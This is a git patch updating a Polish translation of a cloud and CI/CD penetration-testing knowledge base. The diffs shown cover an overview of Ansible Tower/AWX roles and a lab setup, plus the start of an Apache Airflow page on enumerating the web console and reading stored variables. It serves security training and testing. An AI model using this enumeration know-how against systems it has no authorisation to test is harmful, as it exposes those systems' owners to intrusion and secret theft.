From 208c0a690daea88748fbe7fb1300ddc4580604de Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 2 Jan 2025 01:39:53 +0000
Subject: [PATCH] Translated ['src/banners/hacktricks-training.md',
 'src/pentesting-ci-cd/

---
 src/banners/hacktricks-training.md            |   4 +-
 ...ower-awx-automation-controller-security.md |  80 +++---
 .../apache-airflow-security/README.md         |  26 +-
 .../airflow-configuration.md                  |  18 +-
 .../apache-airflow-security/airflow-rbac.md   |   6 +-
 src/pentesting-ci-cd/atlantis-security.md     | 100 ++++----
 src/pentesting-ci-cd/circleci-security.md     |  40 +--
 .../cloudflare-security/README.md             |  22 +-
 .../cloudflare-security/cloudflare-domains.md |  52 ++--
 .../cloudflare-zero-trust-network.md          |   4 +-
 .../concourse-security/README.md              |   4 +-
 .../concourse-architecture.md                 |   6 +-
 .../concourse-enumeration-and-attacks.md      |  70 +++---
 .../concourse-lab-creation.md                 |   8 +-
 src/pentesting-ci-cd/gitea-security/README.md |  20 +-
 .../gitea-security/basic-gitea-information.md |  20 +-
 .../github-security/README.md                 |  62 ++---
 .../abusing-github-actions/README.md          | 110 ++++----
 .../gh-actions-artifact-poisoning.md          |   2 +-
 .../gh-actions-context-script-injections.md   |   2 +-
 .../accessible-deleted-data-in-github.md      |  32 +--
 .../basic-github-information.md               |  64 ++---
 .../jenkins-security/README.md                |  50 ++--
 .../basic-jenkins-information.md              |  24 +-
 ...itrary-file-read-to-rce-via-remember-me.md |   6 +-
 ...jenkins-rce-creating-modifying-pipeline.md |   4 +-
 .../jenkins-rce-creating-modifying-project.md |   6 +-
 .../jenkins-rce-with-groovy-script.md         |  14 +-
 src/pentesting-ci-cd/okta-security/README.md  |  26 +-
 .../okta-security/okta-hardening.md           |  24 +-
 .../pentesting-ci-cd-methodology.md           |  52 ++--
 .../serverless.com-security.md                |  62 ++---
 src/pentesting-ci-cd/supabase-security.md     |  28 +--
 src/pentesting-ci-cd/terraform-security.md    |  44 ++--
 src/pentesting-ci-cd/todo.md                  |   2 +-
 .../travisci-security/README.md               |  36 +--
 .../basic-travisci-information.md             |  20 +-
 src/pentesting-ci-cd/vercel-security.md       | 188 +++++++-------
 src/pentesting-cloud/aws-security/README.md   |  64 ++---
 .../aws-basic-information/README.md           | 166 +++++++------
 .../aws-federation-abuse.md                   |   8 +-
 .../aws-permissions-for-a-pentest.md          |   6 +-
 .../aws-api-gateway-persistence.md            |   6 +-
 .../aws-cognito-persistence.md                |   2 +-
 .../aws-dynamodb-persistence.md               |   6 +-
 .../aws-persistence/aws-ec2-persistence.md    |   4 +-
 .../aws-persistence/aws-ecr-persistence.md    |   2 +-
 .../aws-persistence/aws-ecs-persistence.md    |   8 +-
 .../aws-persistence/aws-efs-persistence.md    |   4 +-
 .../aws-elastic-beanstalk-persistence.md      |   2 +-
 .../aws-persistence/aws-iam-persistence.md    |  10 +-
 .../aws-lambda-persistence/README.md          |  28 +--
 .../aws-abusing-lambda-extensions.md          |  14 +-
 .../aws-lambda-layers-persistence.md          |  28 +--
 .../aws-lightsail-persistence.md              |  10 +-
 .../aws-persistence/aws-rds-persistence.md    |   6 +-
 .../aws-persistence/aws-s3-persistence.md     |  10 +-
 .../aws-secrets-manager-persistence.md        |   6 +-
 .../aws-persistence/aws-sns-persistence.md    |   6 +-
 .../aws-step-functions-persistence.md         |  12 +-
 .../aws-persistence/aws-sts-persistence.md    |   8 +-
 .../aws-api-gateway-post-exploitation.md      |  18 +-
 .../aws-cloudfront-post-exploitation.md       |   2 +-
 .../aws-codebuild-post-exploitation/README.md |  16 +-
 .../aws-codebuild-token-leakage.md            |  20 +-
 .../aws-dlm-post-exploitation.md              |   4 +-
 .../aws-dynamodb-post-exploitation.md         |  16 +-
 .../README.md                                 |  28 +--
 .../aws-ebs-snapshot-dump.md                  |  18 +-
 .../aws-malicious-vpc-mirror.md               |   6 +-
 .../aws-ecr-post-exploitation.md              |   4 +-
 .../aws-ecs-post-exploitation.md              |   4 +-
 .../aws-efs-post-exploitation.md              |   2 +-
 .../aws-eks-post-exploitation.md              |  22 +-
 ...aws-elastic-beanstalk-post-exploitation.md |  12 +-
 .../aws-iam-post-exploitation.md              |  10 +-
 .../aws-kms-post-exploitation.md              |  12 +-
 .../aws-lambda-post-exploitation/README.md    |   2 +-
 .../aws-warm-lambda-persistence.md            |  10 +-
 .../aws-lightsail-post-exploitation.md        |   2 +-
 .../aws-organizations-post-exploitation.md    |   4 +-
 .../aws-rds-post-exploitation.md              |   4 +-
 .../aws-s3-post-exploitation.md               |  12 +-
 .../aws-secrets-manager-post-exploitation.md  |   6 +-
 .../aws-ses-post-exploitation.md              |  14 +-
 .../aws-sns-post-exploitation.md              |  10 +-
 .../aws-stepfunctions-post-exploitation.md    |  16 +-
 .../aws-sts-post-exploitation.md              |   3 +-
 .../aws-privilege-escalation/README.md        |  10 +-
 .../aws-apigateway-privesc.md                 |   6 +-
 .../aws-cloudformation-privesc/README.md      |  16 +-
 ...stack-and-cloudformation-describestacks.md |   8 +-
 .../aws-codebuild-privesc.md                  |  26 +-
 .../aws-codepipeline-privesc.md               |   8 +-
 .../aws-codestar-privesc/README.md            |  10 +-
 .../iam-passrole-codestar-createproject.md    |   6 +-
 .../aws-cognito-privesc.md                    |  46 ++--
 .../aws-datapipeline-privesc.md               |   4 +-
 .../aws-directory-services-privesc.md         |   6 +-
 .../aws-dynamodb-privesc.md                   |   2 +-
 .../aws-ebs-privesc.md                        |   8 +-
 .../aws-ec2-privesc.md                        |  34 +--
 .../aws-ecr-privesc.md                        |   6 +-
 .../aws-ecs-privesc.md                        |  20 +-
 .../aws-efs-privesc.md                        |   8 +-
 .../aws-elastic-beanstalk-privesc.md          |  12 +-
 .../aws-emr-privesc.md                        |  10 +-
 .../aws-privilege-escalation/aws-gamelift.md  |   2 +-
 .../aws-glue-privesc.md                       |   8 +-
 .../aws-iam-privesc.md                        |  32 +--
 .../aws-kms-privesc.md                        |   6 +-
 .../aws-lambda-privesc.md                     |  26 +-
 .../aws-lightsail-privesc.md                  |  16 +-
 .../aws-mediapackage-privesc.md               |   2 +-
 .../aws-mq-privesc.md                         |   2 +-
 .../aws-msk-privesc.md                        |   4 +-
 .../aws-rds-privesc.md                        |  24 +-
 .../aws-redshift-privesc.md                   |   4 +-
 .../aws-s3-privesc.md                         |  16 +-
 .../aws-sagemaker-privesc.md                  |   8 +-
 .../aws-secrets-manager-privesc.md            |   6 +-
 .../aws-sns-privesc.md                        |   2 +-
 .../aws-sqs-privesc.md                        |   2 +-
 .../aws-ssm-privesc.md                        |  22 +-
 .../aws-sso-and-identitystore-privesc.md      |  14 +-
 .../aws-stepfunctions-privesc.md              |  26 +-
 .../aws-sts-privesc.md                        |   8 +-
 .../aws-workdocs-privesc.md                   |   4 +-
 .../eventbridgescheduler-privesc.md           |   4 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |   6 +-
 .../aws-security/aws-services/README.md       |   6 +-
 .../aws-services/aws-api-gateway-enum.md      |  34 +--
 ...m-and-private-certificate-authority-pca.md |   4 +-
 .../aws-cloudformation-and-codestar-enum.md   |   4 +-
 .../aws-services/aws-cloudfront-enum.md       |   4 +-
 .../aws-services/aws-cloudhsm-enum.md         |  34 +--
 .../aws-services/aws-codebuild-enum.md        |   6 +-
 .../aws-services/aws-cognito-enum/README.md   |   4 +-
 .../cognito-identity-pools.md                 |  40 +--
 .../aws-cognito-enum/cognito-user-pools.md    |  54 ++--
 ...e-codepipeline-codebuild-and-codecommit.md |   8 +-
 .../aws-directory-services-workdocs-enum.md   |  22 +-
 .../aws-services/aws-documentdb-enum.md       |   4 +-
 .../aws-services/aws-dynamodb-enum.md         |  22 +-
 .../README.md                                 |  44 ++--
 .../aws-nitro-enum.md                         |  46 ++--
 ...ws-vpc-and-networking-basic-information.md | 234 +++++++++---------
 .../aws-security/aws-services/aws-ecr-enum.md |  16 +-
 .../aws-security/aws-services/aws-ecs-enum.md |  12 +-
 .../aws-security/aws-services/aws-efs-enum.md |  12 +-
 .../aws-security/aws-services/aws-eks-enum.md |   8 +-
 .../aws-elastic-beanstalk-enum.md             |  14 +-
 .../aws-security/aws-services/aws-emr-enum.md |  16 +-
 .../aws-security/aws-services/aws-iam-enum.md |  42 ++--
 .../aws-kinesis-data-firehose-enum.md         |   6 +-
 .../aws-security/aws-services/aws-kms-enum.md |  30 +--
 .../aws-services/aws-lambda-enum.md           |  36 +--
 .../aws-services/aws-lightsail-enum.md        |   6 +-
 .../aws-security/aws-services/aws-mq-enum.md  |  12 +-
 .../aws-security/aws-services/aws-msk-enum.md |   8 +-
 .../aws-services/aws-other-services-enum.md   |   4 +-
 .../aws-services/aws-redshift-enum.md         |  40 +--
 .../aws-relational-database-rds-enum.md       |  14 +-
 .../aws-s3-athena-and-glacier-enum.md         |  36 +--
 .../aws-services/aws-secrets-manager-enum.md  |  14 +-
 .../aws-cloudtrail-enum.md                    |  70 +++---
 .../aws-cloudwatch-enum.md                    |  70 +++---
 .../aws-config-enum.md                        |  18 +-
 .../aws-control-tower-enum.md                 |   8 +-
 .../aws-cost-explorer-enum.md                 |   4 +-
 .../aws-detective-enum.md                     |   4 +-
 .../aws-firewall-manager-enum.md              |  42 ++--
 .../aws-guardduty-enum.md                     |  32 +--
 .../aws-inspector-enum.md                     |  44 ++--
 .../aws-macie-enum.md                         |  14 +-
 .../aws-security-hub-enum.md                  |   6 +-
 .../aws-shield-enum.md                        |   6 +-
 .../aws-trusted-advisor-enum.md               |   8 +-
 .../aws-waf-enum.md                           |  54 ++--
 .../aws-security/aws-services/aws-ses-enum.md |   2 +-
 .../aws-security/aws-services/aws-sns-enum.md |   8 +-
 .../aws-services/aws-stepfunctions-enum.md    |  22 +-
 .../aws-security/aws-services/aws-sts-enum.md |   8 +-
 .../aws-services/eventbridgescheduler-enum.md |  16 +-
 .../aws-unauthenticated-enum-access/README.md |   8 +-
 .../aws-accounts-unauthenticated-enum.md      |   2 +-
 .../aws-api-gateway-unauthenticated-enum.md   |   8 +-
 .../aws-codebuild-unauthenticated-access.md   |   8 +-
 .../aws-cognito-unauthenticated-enum.md       |   6 +-
 .../aws-documentdb-enum.md                    |   2 +-
 .../aws-dynamodb-unauthenticated-access.md    |   2 +-
 .../aws-ec2-unauthenticated-enum.md           |   2 +-
 .../aws-ecr-unauthenticated-enum.md           |   2 +-
 ...-elastic-beanstalk-unauthenticated-enum.md |  14 +-
 .../aws-elasticsearch-unauthenticated-enum.md |   2 +-
 .../aws-iam-and-sts-unauthenticated-enum.md   |  22 +-
 ...ity-center-and-sso-unauthenticated-enum.md |  10 +-
 .../aws-iot-unauthenticated-enum.md           |   2 +-
 .../aws-kinesis-video-unauthenticated-enum.md |   2 +-
 .../aws-lambda-unauthenticated-access.md      |   4 +-
 .../aws-mq-unauthenticated-enum.md            |   4 +-
 .../aws-msk-unauthenticated-enum.md           |   4 +-
 .../aws-rds-unauthenticated-enum.md           |   2 +-
 .../aws-redshift-unauthenticated-enum.md      |   2 +-
 .../aws-s3-unauthenticated-enum.md            |  58 ++---
 .../aws-sns-unauthenticated-enum.md           |   2 +-
 .../aws-sqs-unauthenticated-enum.md           |   2 +-
 src/pentesting-cloud/azure-security/README.md |  18 +-
 .../az-basic-information/README.md            |  64 ++---
 .../az-tokens-and-public-applications.md      |  61 +++--
 .../azure-security/az-device-registration.md  |  24 +-
 .../azure-security/az-enumeration-tools.md    |  14 +-
 .../README.md                                 |   6 +-
 .../az-arc-vulnerable-gpo-deploy-script.md    |  14 +-
 .../az-local-cloud-credentials.md             |  22 +-
 .../az-pass-the-certificate.md                |   4 +-
 .../az-pass-the-cookie.md                     |   4 +-
 .../az-processes-memory-access-token.md       |   2 +-
 .../az-cloud-kerberos-trust.md                |  18 +-
 .../az-default-applications.md                |   4 +-
 .../az-synchronising-new-users.md             |   4 +-
 .../federation.md                             |  18 +-
 .../phs-password-hash-sync.md                 |  22 +-
 .../pass-the-prt.md                           |  42 ++--
 .../az-permissions-for-a-pentest.md           |   4 +-
 .../pentesting-cloud-methodology.md           |  30 +--
 226 files changed, 2178 insertions(+), 2220 deletions(-)

diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index 553595841..4d92c5af9 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -7,7 +7,7 @@
 > <summary>Wsparcie HackTricks</summary>
 >
 > - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
-> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
+> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
 >
 > </details>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 3abc20dea..2edf12e2b 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,62 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Bezpieczeństwo kontrolera automatyzacji
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Podstawowe informacje
 
 **Ansible Tower** lub jego wersja open source [**AWX**](https://github.com/ansible/awx) jest znany jako **interfejs użytkownika Ansible, pulpit nawigacyjny i REST API**. Dzięki **kontroli dostępu opartej na rolach**, harmonogramowaniu zadań i graficznemu zarządzaniu inwentarzem, możesz zarządzać swoją infrastrukturą Ansible z nowoczesnego interfejsu. REST API Towera i interfejs wiersza poleceń ułatwiają integrację z obecnymi narzędziami i przepływami pracy.
 
-**Automation Controller to nowsza** wersja Ansible Tower z większymi możliwościami.
+**Kontroler automatyzacji to nowsza** wersja Ansible Tower z większymi możliwościami.
 
-### Differences
+### Różnice
 
 Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), główne różnice między Ansible Tower a AWX to otrzymywane wsparcie, a Ansible Tower ma dodatkowe funkcje, takie jak kontrola dostępu oparta na rolach, wsparcie dla niestandardowych API oraz zdefiniowane przez użytkownika przepływy pracy.
 
-### Tech Stack
+### Stos technologiczny
 
-- **Web Interface**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników twoich zadań automatyzacji.
+- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i dostarczał wizualizacji, które pomagają w zrozumieniu stanu i wyników twoich zadań automatyzacji.
 - **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie.
-- **Database**: AWX/Tower używa bazy danych (zazwyczaj PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
+- **Baza danych**: AWX/Tower używa bazy danych (zwykle PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych.
 - **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań.
 - **Redis**: Redis służy jako pamięć podręczna i zaplecze dla kolejki zadań.
 
-### Logical Components
+### Komponenty logiczne
 
-- **Inventories**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp.
-- **Projects**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby.
-- **Templates**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania.
-- **Credentials**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania.
-- **Task Engine**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń.
-- **Schedulers and Callbacks**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne.
-- **Notifications**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne środki powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp.
-- **Ansible Playbooks**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane.
+- **Inwentarze**: Inwentarz to **zbiór hostów (lub węzłów)**, na których mogą być **uruchamiane zadania** (playbooki Ansible). AWX/Tower pozwala na definiowanie i grupowanie inwentarzy oraz wspiera dynamiczne inwentarze, które mogą **pobierać listy hostów z innych systemów** takich jak AWS, Azure itp.
+- **Projekty**: Projekt to zasadniczo **zbiór playbooków Ansible** pochodzących z **systemu kontroli wersji** (takiego jak Git), aby pobierać najnowsze playbooki w razie potrzeby.
+- **Szablony**: Szablony zadań definiują **jak dany playbook będzie uruchamiany**, określając **inwentarz**, **poświadczenia** i inne **parametry** dla zadania.
+- **Poświadczenia**: AWX/Tower zapewnia bezpieczny sposób **zarządzania i przechowywania sekretów, takich jak klucze SSH, hasła i tokeny API**. Te poświadczenia mogą być powiązane z szablonami zadań, aby playbooki miały niezbędny dostęp podczas uruchamiania.
+- **Silnik zadań**: To tutaj dzieje się magia. Silnik zadań oparty jest na Ansible i odpowiada za **uruchamianie playbooków**. Zadania są przekazywane do silnika zadań, który następnie uruchamia playbooki Ansible na wyznaczonym inwentarzu, używając określonych poświadczeń.
+- **Harmonogramy i wywołania zwrotne**: To zaawansowane funkcje w AWX/Tower, które pozwalają na **harmonogramowanie zadań** do uruchamiania w określonych czasach lub wyzwalane przez zdarzenia zewnętrzne.
+- **Powiadomienia**: AWX/Tower może wysyłać powiadomienia w zależności od sukcesu lub niepowodzenia zadań. Obsługuje różne formy powiadomień, takie jak e-maile, wiadomości Slack, webhooki itp.
+- **Playbooki Ansible**: Playbooki Ansible to narzędzia do konfiguracji, wdrażania i orkiestracji. Opisują pożądany stan systemów w sposób zautomatyzowany i powtarzalny. Napisane w YAML, playbooki używają deklaratywnego języka automatyzacji Ansible do opisywania konfiguracji, zadań i kroków, które muszą być wykonane.
 
-### Job Execution Flow
+### Przepływ wykonania zadań
 
-1. **User Interaction**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Web Interface** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower.
-2. **Job Initiation**:
-- Użytkownik, za pośrednictwem interfejsu webowego lub API, inicjuje zadanie na podstawie **Job Template**.
-- Szablon zadania zawiera odniesienia do **Inventory**, **Project** (zawierającego playbook) i **Credentials**.
+1. **Interakcja użytkownika**: Użytkownik może interagować z AWX/Tower za pośrednictwem **Interfejsu Webowego** lub **REST API**. Te zapewniają dostęp front-end do wszystkich funkcji oferowanych przez AWX/Tower.
+2. **Inicjacja zadania**:
+- Użytkownik, za pośrednictwem Interfejsu Webowego lub API, inicjuje zadanie na podstawie **Szablonu Zadań**.
+- Szablon Zadań zawiera odniesienia do **Inwentarza**, **Projektu** (zawierającego playbook) i **Poświadczeń**.
 - Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania.
-3. **Job Queuing**:
+3. **Kolejkowanie zadań**:
 - **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ.
 - **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie.
-4. **Job Execution**:
-- **Task Engine** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Database** o powiązanym playbooku, inwentarzu i poświadczeniach.
-- Używając pobranego playbooka Ansible z powiązanego **Project**, silnik zadań uruchamia playbook na określonych węzłach **Inventory** przy użyciu podanych **Credentials**.
-- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Database**.
-5. **Job Results**:
-- Gdy playbook kończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Database**.
-- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem interfejsu webowego lub zapytywać je za pomocą REST API.
-- W zależności od wyników zadań, **Notifications** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
-6. **External Systems Integration**:
-- **Inventories** mogą być dynamicznie pozyskiwane z zewnętrznych systemów, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne.
-- **Projects** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
-- **Schedulers and Callbacks** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
+4. **Wykonanie zadania**:
+- **Silnik Zadań** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Bazy Danych** dotyczące powiązanego playbooka, inwentarza i poświadczeń.
+- Używając pobranego playbooka Ansible z powiązanego **Projektu**, Silnik Zadań uruchamia playbook na określonych węzłach **Inwentarza** przy użyciu podanych **Poświadczeń**.
+- W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Bazie Danych**.
+5. **Wyniki zadania**:
+- Gdy playbook zakończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**.
+- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytać je za pomocą REST API.
+- W zależności od wyników zadań, **Powiadomienia** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp.
+6. **Integracja z systemami zewnętrznymi**:
+- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i innych.
+- **Projekty** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań.
+- **Harmonogramy i wywołania zwrotne** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach.
 
-### AWX lab creation for testing
+### Tworzenie laboratorium AWX do testowania
 
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) można użyć docker-compose do uruchomienia AWX:
+[**Zgodnie z dokumentacją**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) możliwe jest użycie docker-compose do uruchomienia AWX:
 ```bash
 git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
 
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
 
 Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**.
 
-Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
+Z perspektywy **przeglądu bezpieczeństwa typu white box**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej jest uzyskać tę pierwszą.
 
 <details>
 
@@ -108,16 +108,16 @@ Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli
 - **Przeczytaj**: Może przeglądać zasoby organizacji.
 4. **Role Projektów**:
 - **Admin**: Może zarządzać i modyfikować projekt.
-- **Użyj**: Może używać projektu w szablonie zadania.
+- **Użyj**: Może używać projektu w szablonie zadań.
 - **Aktualizuj**: Może aktualizować projekt za pomocą SCM (kontrola wersji).
 5. **Role Inwentarza**:
 - **Admin**: Może zarządzać i modyfikować inwentarz.
 - **Ad Hoc**: Może uruchamiać polecenia ad hoc na inwentarzu.
 - **Aktualizuj**: Może aktualizować źródło inwentarza.
-- **Użyj**: Może używać inwentarza w szablonie zadania.
+- **Użyj**: Może używać inwentarza w szablonie zadań.
 - **Przeczytaj**: Tylko dostęp do przeglądania.
 6. **Role Szablonów Zadań**:
-- **Admin**: Może zarządzać i modyfikować szablon zadania.
+- **Admin**: Może zarządzać i modyfikować szablon zadań.
 - **Wykonaj**: Może uruchomić zadanie.
 - **Przeczytaj**: Tylko dostęp do przeglądania.
 7. **Role Poświadczeń**:
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index c1d049456..8669493de 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -4,9 +4,9 @@
 
 ### Podstawowe informacje
 
-[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.
+[**Apache Airflow**](https://airflow.apache.org) służy jako platforma do **orkiestrowania i planowania potoków danych lub przepływów pracy**. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami pracy danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.
 
-W zasadzie, Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**.
+W zasadzie Apache Airflow pozwoli Ci **zaplanować wykonanie kodu, gdy coś** (zdarzenie, cron) **się wydarzy**.
 
 ### Lokalna laboratoria
 
@@ -44,9 +44,9 @@ airflow-rbac.md
 
 ### Ataki
 
-#### Enumeracja konsoli internetowej
+#### Enumeracja konsoli webowej
 
-Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:
+Jeśli masz **dostęp do konsoli webowej**, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:
 
 - **Zmienne** (Własne wrażliwe informacje mogą być tutaj przechowywane)
 - **Połączenia** (Własne wrażliwe informacje mogą być tutaj przechowywane)
@@ -57,27 +57,27 @@ Jeśli masz **dostęp do konsoli internetowej**, możesz uzyskać dostęp do nie
 
 #### Pobieranie wartości zmiennych
 
-Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http://<airflow>/variable/list/`.\
+Zmienne mogą być przechowywane w Airflow, aby **DAGi** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http://<airflow>/variable/list/`.\
 Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**.
 
 ![](<../../images/image (164).png>)
 
